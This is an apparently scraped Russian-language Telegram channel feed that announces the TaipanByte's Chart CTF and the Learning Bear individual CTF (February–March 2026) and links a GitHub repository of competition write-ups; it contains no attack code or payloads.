В эту субботу начинается TaipanByte’s Chart CTF - онлайн соревнование в области информационной безопасности, открытое для всех желающих.
Успейте зарегистрировать команду!
Регистрация будет прекращена 14 февраля 2026 в 13:00 МСК вместе с началом соревнований.
Важные моменты:
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11🔥3 3
Кто хочет кайфануть в Сочи, рекомендую залететь в топ 30!
Learning Bear в формате CTF (индивидуальный зачет).
28 февраля – 1 марта 12:00 МСК
Онлайн, участие возможно из любой точки России.
Топ-30 участников CTF получают гарантированное приглашение в финал Learning Bear в Сириусе на площадке НИЯУ МИФИ.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Learning Bear в формате CTF (индивидуальный зачет).
28 февраля – 1 марта 12:00 МСК
Онлайн, участие возможно из любой точки России.
Топ-30 участников CTF получают гарантированное приглашение в финал Learning Bear в Сириусе на площадке НИЯУ МИФИ.
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
LearningBear_Info
🚀 Открыта регистрация на Learning Bear 2026! 🚀
📅 Можно и нужно подавать заявку прямо сейчас.
🕛 Старт соревнований — 28 февраля в 12:00 (МСК).
💡 Важно:
☑️ Участвовать может любой желающий из любой точки России, 18+.
☑️ Формат — CTF с индивидуальным зачётом.…
📅 Можно и нужно подавать заявку прямо сейчас.
🕛 Старт соревнований — 28 февраля в 12:00 (МСК).
💡 Важно:
☑️ Участвовать может любой желающий из любой точки России, 18+.
☑️ Формат — CTF с индивидуальным зачётом.…
🔥8❤3
#TaipanByte
Репозиторий с райтапами от @iwtsysomf
Автор пишет, что райтапы будут обновляться, пока есть
- Hide
- Bar
- Roman's Prado
Ссылка на райтапы: [клик]🖱
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Репозиторий с райтапами от @iwtsysomf
Автор пишет, что райтапы будут обновляться, пока есть
- Hide
- Bar
- Roman's Prado
Ссылка на райтапы: [клик]
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - futsuri/TaipanByte2026-Writeups
Contribute to futsuri/TaipanByte2026-Writeups development by creating an account on GitHub.